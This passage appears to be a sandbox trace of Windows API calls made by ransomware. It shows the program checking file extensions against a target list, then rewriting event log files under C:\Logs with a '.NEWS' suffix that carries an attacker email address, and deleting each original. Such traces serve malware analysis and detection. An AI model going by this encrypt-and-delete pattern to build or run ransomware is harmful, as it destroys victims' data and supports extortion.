-1 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.525] lstrlenW (lpString=".doc") returned 4 [0076.525] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.525] lstrlenW (lpString=".docx") returned 5 [0076.525] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.526] lstrlenW (lpString=".pdf") returned 4 [0076.526] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString=".xls") returned 4 [0076.526] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString=".xlsx") returned 5 [0076.526] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.526] lstrlenW (lpString=".ppt") returned 4 [0076.526] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.526] lstrlenW (lpString=".zip") returned 4 [0076.526] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString=".rar") returned 4 [0076.526] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString=".bz2") returned 4 [0076.526] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString=".7z") returned 3 [0076.526] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.526] lstrlenW (lpString=".dbf") returned 4 [0076.526] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.526] lstrlenW (lpString=".1cd") returned 4 [0076.526] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.526] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0076.526] lstrlenW (lpString=".jpg") returned 4 [0076.526] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.526] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.526] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0076.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0076.926] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0076.926] CloseHandle (hObject=0x388) returned 1 [0076.926] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0076.926] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0076.927] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.927] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.927] GetLastError () returned 0x0 [0076.927] ReadFile (in: hFile=0x388, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.930] WriteFile (in: hFile=0x308, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.933] ReadFile (in: hFile=0x388, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.933] WriteFile (in: hFile=0x308, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x132, lpOverlapped=0x0) returned 1 [0076.933] SetEndOfFile (hFile=0x308) returned 1 [0076.933] CloseHandle (hObject=0x308) returned 1 [0076.936] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.936] SetEndOfFile (hFile=0x388) returned 1 [0076.937] CloseHandle (hObject=0x388) returned 1 [0076.937] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.938] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0076.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.938] lstrlenW (lpString=".doc") returned 4 [0076.938] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.938] lstrlenW (lpString=".docx") returned 5 [0076.938] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.938] lstrlenW (lpString=".pdf") returned 4 [0076.938] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.938] lstrlenW (lpString=".xls") returned 4 [0076.938] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.938] lstrlenW (lpString=".xlsx") returned 5 [0076.939] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.939] lstrlenW (lpString=".ppt") returned 4 [0076.939] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString=".zip") returned 4 [0076.939] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString=".rar") returned 4 [0076.939] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString=".bz2") returned 4 [0076.939] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString=".7z") returned 3 [0076.939] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString=".dbf") returned 4 [0076.939] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString=".1cd") returned 4 [0076.939] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString=".jpg") returned 4 [0076.939] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.939] lstrlenW (lpString=".doc") returned 4 [0076.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.939] lstrlenW (lpString=".docx") returned 5 [0076.939] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.939] lstrlenW (lpString=".pdf") returned 4 [0076.939] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString=".xls") returned 4 [0076.940] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString=".xlsx") returned 5 [0076.940] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.940] lstrlenW (lpString=".ppt") returned 4 [0076.940] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.940] lstrlenW (lpString=".zip") returned 4 [0076.940] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString=".rar") returned 4 [0076.940] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString=".bz2") returned 4 [0076.940] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString=".7z") returned 3 [0076.940] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.940] lstrlenW (lpString=".dbf") returned 4 [0076.940] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.940] lstrlenW (lpString=".1cd") returned 4 [0076.940] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0076.940] lstrlenW (lpString=".jpg") returned 4 [0076.940] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.941] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.941] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0076.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0076.941] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0076.941] CloseHandle (hObject=0x388) returned 1 [0076.941] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0076.941] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0076.942] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.942] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.942] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.942] GetLastError () returned 0x0 [0076.942] ReadFile (in: hFile=0x388, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.945] WriteFile (in: hFile=0x308, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.948] ReadFile (in: hFile=0x388, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.948] WriteFile (in: hFile=0x308, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x136, lpOverlapped=0x0) returned 1 [0076.948] SetEndOfFile (hFile=0x308) returned 1 [0076.948] CloseHandle (hObject=0x308) returned 1 [0076.951] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.951] SetEndOfFile (hFile=0x388) returned 1 [0076.952] CloseHandle (hObject=0x388) returned 1 [0076.953] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.953] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0076.953] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.953] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.953] lstrlenW (lpString=".doc") returned 4 [0076.953] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.953] lstrlenW (lpString=".docx") returned 5 [0076.953] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.953] lstrlenW (lpString=".pdf") returned 4 [0076.954] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString=".xls") returned 4 [0076.954] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString=".xlsx") returned 5 [0076.954] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.954] lstrlenW (lpString=".ppt") returned 4 [0076.954] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.954] lstrlenW (lpString=".zip") returned 4 [0076.954] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString=".rar") returned 4 [0076.954] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString=".bz2") returned 4 [0076.954] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString=".7z") returned 3 [0076.954] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.954] lstrlenW (lpString=".dbf") returned 4 [0076.954] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.954] lstrlenW (lpString=".1cd") returned 4 [0076.954] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.954] lstrlenW (lpString=".jpg") returned 4 [0076.954] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.954] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.955] lstrlenW (lpString=".doc") returned 4 [0076.955] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".docx") returned 5 [0076.955] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.955] lstrlenW (lpString=".pdf") returned 4 [0076.955] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".xls") returned 4 [0076.955] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".xlsx") returned 5 [0076.955] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.955] lstrlenW (lpString=".ppt") returned 4 [0076.955] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.955] lstrlenW (lpString=".zip") returned 4 [0076.955] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".rar") returned 4 [0076.955] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".bz2") returned 4 [0076.955] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString=".7z") returned 3 [0076.955] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.955] lstrlenW (lpString=".dbf") returned 4 [0076.955] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.955] lstrlenW (lpString=".1cd") returned 4 [0076.955] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0076.956] lstrlenW (lpString=".jpg") returned 4 [0076.956] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.956] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.956] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0076.956] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.260] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.260] CloseHandle (hObject=0x2c4) returned 1 [0077.260] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0077.261] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.261] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.261] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.261] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.261] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.261] GetLastError () returned 0x0 [0077.261] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.264] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.266] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.266] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x134, lpOverlapped=0x0) returned 1 [0077.266] SetEndOfFile (hFile=0x380) returned 1 [0077.266] CloseHandle (hObject=0x380) returned 1 [0077.268] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.268] SetEndOfFile (hFile=0x2c4) returned 1 [0077.270] CloseHandle (hObject=0x2c4) returned 1 [0077.270] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.270] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1 [0077.270] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.270] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.270] lstrlenW (lpString=".doc") returned 4 [0077.270] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.270] lstrlenW (lpString=".docx") returned 5 [0077.270] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.270] lstrlenW (lpString=".pdf") returned 4 [0077.270] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.270] lstrlenW (lpString=".xls") returned 4 [0077.270] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.270] lstrlenW (lpString=".xlsx") returned 5 [0077.271] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.271] lstrlenW (lpString=".ppt") returned 4 [0077.271] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString=".zip") returned 4 [0077.271] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".rar") returned 4 [0077.271] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".bz2") returned 4 [0077.271] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".7z") returned 3 [0077.271] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString=".dbf") returned 4 [0077.271] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString=".1cd") returned 4 [0077.271] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString=".jpg") returned 4 [0077.271] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.271] lstrlenW (lpString=".doc") returned 4 [0077.271] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".docx") returned 5 [0077.271] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.271] lstrlenW (lpString=".pdf") returned 4 [0077.271] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".xls") returned 4 [0077.271] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString=".xlsx") returned 5 [0077.271] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.271] lstrlenW (lpString=".ppt") returned 4 [0077.271] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.271] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.272] lstrlenW (lpString=".zip") returned 4 [0077.272] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.272] lstrlenW (lpString=".rar") returned 4 [0077.272] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.272] lstrlenW (lpString=".bz2") returned 4 [0077.272] 